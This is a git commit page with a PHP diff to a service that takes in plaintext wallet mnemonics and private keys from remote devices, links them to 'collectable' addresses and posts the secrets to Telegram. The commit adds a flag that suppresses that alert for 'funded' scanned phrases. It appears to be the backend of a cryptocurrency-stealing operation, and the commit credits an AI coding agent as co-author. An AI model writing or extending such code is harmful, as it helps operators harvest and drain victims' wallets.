Skip local Telegram when a funded scan mnemonic is forwarded.
Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -531,7 +531,7 @@ class IngestService
|
||||
/**
|
||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||
*/
|
||||
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
|
||||
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null, bool $notify = true): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
@@ -569,13 +569,15 @@ class IngestService
|
||||
}
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
||||
$this->telegram->notifyNewMemoric(
|
||||
$device->device_id,
|
||||
$source,
|
||||
$secret,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row, $notify);
|
||||
if ($notify) {
|
||||
$this->telegram->notifyNewMemoric(
|
||||
$device->device_id,
|
||||
$source,
|
||||
$secret,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user